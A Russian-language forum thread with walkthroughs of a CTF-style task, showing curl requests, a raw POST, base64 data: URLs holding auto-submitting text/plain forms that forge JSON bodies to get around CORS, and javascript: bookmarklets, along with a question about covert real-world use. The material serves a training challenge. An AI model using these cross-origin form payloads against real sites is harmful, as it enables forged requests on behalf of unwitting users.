 |
|

27.02.2021, 15:48
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Задание закрыто.
Прохождение:
Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.com:10013 и ответ выводится на страницу.
Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.com:10013/task13.html.
Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели:
Код:
Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.com:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»).
Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin.
Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания:
Код:
curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
флаг получен, цель понятна, нужно выполнить запрос в браузере.
Но браузер будет упорно сопротивляться.
Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток.
Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится.
Поэтому ищем чего-то другое.
Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает.
Это хорошо, но есть пара проблем:
- формы не умеют отправлять заголовок "Content-Type: application/json"
- не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает.
Пробуем заточить под наши нужды.
Проверяем, обязателен ли заголовок "Content-Type: application/json"
Код:
curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
флаг отдается, значит заголовок не обязателен, ковыряем json-строку.
Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag".
Например:
На сервер уйдет пакет
Код:
POST / HTTP/1.1
Host: task.antichat.com:10013
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: text/plain
Content-Length: 38
Connection: close
{"operation":"GetFlag","(.)(.)":"="}
Видим флаг.
Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL
data:text/html, и дальше наш html-текст копипастом.
Часто используют base64 кодирование
берем
енкодим в base64
Код:
PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo=
знаки равенства в конце base64-строки можно отбросить
Код:
data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo
Вставляем в адресную строку - видим флаг.
Прохождения участников:
.SpoilerTarget" type="button">Spoiler: Прохождения
Сообщение от ii445888
Код:
[/B][/B][/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][B][B]
Сообщение от Baskin-Robbins
↑
Вот так?
Код:
data:text/html,document.getElementById("dd").submit()
Сообщение от Baskin-Robbins
↑
Привет, а решение через букмарклеты подходит?
Типо сохраняем любую страницу в закладки, например с именем 111, редактируем в настройках URL
на такой
Код:
javascript:fetch('http://task.antichat.com:10013', { method: 'POST',body: JSON.stringify({'operation': 'GetFlag'})}).then(r=>r.text()).then(d=>alert(d));
открываем
http://task.antichat.com:10013
щелкаем по закладке 111
в алерте наш флаг, в огнелисе работает
.SpoilerTarget" type="button">Spoiler: Прохождения
Сообщение от Baskin-Robbins
↑
С закладками я погуглил и так понял что не бага, там вроде даже на вики
писали что из закладок выполняемый код получает доступ к странице.
Раньше из js можно было добавлять в браузер свои закладки, сейчас убрали
эту фичу, хотя саму возможность выполнения оставили.
Я думаю что все же нет, не бага.
Но бага есть, другая, хотя для использования нужны другие баги.
ФФ может выводить инфу в обход SOP для "простых запросов" без
хидера Access-Control-Allow-Origin. Суть в том что отправив запрос,
не важно через XMLHttpRequest или fetch во вкладке Network мы можем
увидеть ответ. Я посчитал сначало что фича firefox'a но работает через раз,
рандомно может вернуть ответ, а может нет. Проблема в том что js его
не видит, т.е ответ видит только пользователь. А допустим извернуться и попытаться
заскринить мы не можем, так как из js не можем панелью разработчика управлять
в браузере. К слову на опера и хром не получилось так, не вывели они инфу,
так что бага, но использовать ее как есть нельзя, нужно что-то еще.
Я думал ты таск закроешь и я напишу про эту фичу(с игнорированием SOP),
так как сам не могу сейчас ее докрутить, а про закладки надо посмотреть доки,
не думаю все же что бага.
Сообщение от Go0o$E
↑
Решение на вывод Chrome/Firefox
Код HTML:
data:text/html;base64,PGZvcm0gYWN0aW9uPSJodHRwOi8vdGFzay5hbnRpY2hhdC5jb206MTAwMTMvIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9InRleHQvcGxhaW4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiYjMTIzOyZxdW90O29wZXJhdGlvbiZxdW90OyYjNTg7JnF1b3Q7R2V0RmxhZyZxdW90OyYjNDQ7JnF1b3Q7Z2V0JnF1b3Q7JiM1ODsmcXVvdDsiIHZhbHVlPSJmbGFnJnF1b3Q7JiMxMjU7JiMxMzsmIzEwOyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IHJlcXVlc3QiIC8+PC9mb3JtPjxzY3JpcHQ+ZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk7PC9zY3JpcHQ+Cg
[/quote]
|
|
|

27.02.2021, 15:59
|
|
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами:
4033046
Репутация:
212
|
|
Вариант для Chrome.
Открываем task.antichat.com:10013 в url вписываем:
Код:
javascript:data = {'operation': 'GetFlag'};fetch('http://task.antichat.com:10013', {method: 'POST',body: JSON.stringify(data),}).then(r=>r.text()).then(d=>alert(d));
К слову о вкладке network в firefox.
Подобное поведение было замечено не на всех Gecko браузерах, такое же поведение
присутсвовало в waterfox, но не было замечено в comodo icedragon и Pale Moon.
Также подобное можно увидеть на ныне заброшеном проекте orbitum(Blink), где в отличии
от огнелиса я наблюдал 100% вывод. Это наводит на мысль, что возможно эта фича
присутсвовала и в старых версиях хрома.
Ну и раз затронул тему "маленьких" браузеров отмечу, что при запросе из data://
через fetch или XMLHttpRequest в большинстве браузеров Origin будет null, но
браузер SeaMonkey унаследует его из текущей вкладки. Поэтому решение таска
возможно схожим с javascript :... образом для chrome, но @dooble его бы не засчитал:
Код:
data:text/html,data = {'operation': 'GetFlag'};var url = 'http://task.antichat.com:10013';var xhr = new XMLHttpRequest;xhr.open('POST',url,false);xhr.send(JSON.stringify(data));alert(xhr.responseText);
|
|
|

02.03.2021, 16:14
|
|
Новичок
Регистрация: 09.05.2018
Сообщений: 22
С нами:
4218806
Репутация:
12
|
|
А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video
|
|
|

03.03.2021, 07:45
|
|
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами:
4033046
Репутация:
212
|
|
Сообщение от neur0funk
↑
А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video
Лично я, на текущий момент, не вижу вектора именно скрытого использования.
Хотя, надо подумать.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|